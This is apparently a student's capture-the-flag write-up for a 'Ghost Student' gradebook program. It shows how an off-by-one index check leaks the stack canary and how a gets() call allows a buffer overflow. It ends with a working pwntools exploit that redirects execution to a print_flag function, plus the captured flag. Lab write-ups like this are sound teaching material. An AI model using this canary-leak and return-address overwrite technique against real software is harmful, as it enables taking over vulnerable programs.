CTF: Ghost Student

2017313008 Kim TaeEun

In ghost-student.c code,

```
case 2:
  printf("Enter entry# >>> ");
  fflush(stdout);
  if (fgets(output, 9, stdin) == NULL)
    exit(0);
  sscanf(output, "%d", &idx);
  /* We have 7 students */
  if (idx <= 7)
    print_individual(&gradebook[idx]);
  else
    printf(RED "Out of index\n" RST);
  break;

case 3:
  printf("Enter entry# >>> ");
  fflush(stdout);
  if (fgets(output, 9, stdin) == NULL)
    exit(0);
  sscanf(output, "%d", &idx);
  /* We have 7 students */
  if (idx < 7){
    printf("Enter the new letter grade >>> ");
    fflush(stdout);
    gets(gradebook[idx].letter_grade);
  }
  else
    printf(RED "Out of index\n" RST);
```

We have 7 students, but when you see the first green box, if(idx<=7) is in code.

So, we can get a clue here.

```
CMD >>> 2
Enter entry# >>> 7
---------------------------
StudentID: 0
HW1 HW2 HW3 HW4 HW5 HW6 HW7
966243312 32766 3845892626 1563594866 4200832 0   0
Letter grade:
---------------------------
```

We can get stack content (also stack canary)

```
case 3:
  printf("Enter entry# >>> ");
  fflush(stdout);
  if (fgets(output, 9, stdin) == NULL)
    exit(0);
  sscanf(output, "%d", &idx);
  /* We have 7 students */
  if (idx < 7){
    printf("Enter the new letter grade >>> ");
    fflush(stdout);
    gets(gradebook[idx].letter_grade);
  }
  else
    printf(RED "Out of index\n" RST);
```

In show menu case3, gets(gradebook[idx].letter_grade)

We can buffer overflow here.

So, when we enter more than 16bytes here,

the stack canary is overwritten (brute force)

```
CMD >>> 2
Enter entry# >>> 7
---------------------------
StudentID: 0
HW1 HW2 HW3 HW4 HW5 HW6 HW7
966243312 32766 3845892626 1563594866 4200832 0   0
Letter grade:
---------------------------
```

Stack canary

```
typedef struct Grade {
  unsigned int id;
  unsigned int hw_grade[7];
  char letter_grade[4];
} Grade;
```

In 16bytes,

7^{th} student letter_grade(4 byte) +

Ghost student id(4 byte)+

Ghost student hw1 grade(4 byte)+

Ghost student hw2 grade(4 byte)

Stack canary is 8 bytes, so HW3+HW4(8 bytes) is stack canary.

```
0x00000000004018ad <+64>:    call   0x401600 <show_menu>
0x00000000004018b2 <+69>:    mov    rax,QWORD PTR [rsp+0x108]
0x00000000004018ba <+77>:    xor    rax,QWORD PTR fs:[rbx]
0x00000000004018be <+81>:    jne    0x4018ca <manage_gradebook+93>
0x00000000004018c0 <+83>:    add    rsp,0x118
0x00000000004018c7 <+90>:    pop    rbx
0x00000000004018c8 <+91>:    pop    rbp
0x00000000004018c9 <+92>:    ret
0x00000000004018ca <+93>:    call   0x4010b0 <__stack_chk_fail@plt>
```

In manage_gradebook,

Canary address: rsp+0x108

Return address: rsp+0x118+0x8(pop)+0x8(pop)

So the difference between canary address and return address is 32 byte.

And canary is 8 byte,

So, after canary value, 24 byte is dummy value.

```python
from pwn import *

target='./ghost-student'
p=process(target)
io=p

io.recvuntil(">>>")

io.sendline("2")
io.sendline("7")
msg=str(io.recvuntil("HW7\n"))
io.recvuntil(" ")
io.recvuntil(" ")
can1=str(io.recvuntil(" "))[2:-1]
can2=str(io.recvuntil(" "))[2:-1]

can1=int(can1)
can2=int(can2)
io.sendline("3")
io.sendline("6")

payload=b'\x90'*16+p32(can1)+p32(can2)+b'\x90'*24+p64(0x401264)
io.sendline(payload)

io.interactive()
```

Exploit.py

After gets() function starts, write down the stack canary from 17 bytes.

Then write down stack canary value.

And then, 24 byte is dummy value

0x401264 is print_flag address.

Flag: **Jshe9c7XeedcAMxJVtVdWYpEGc7unGXR**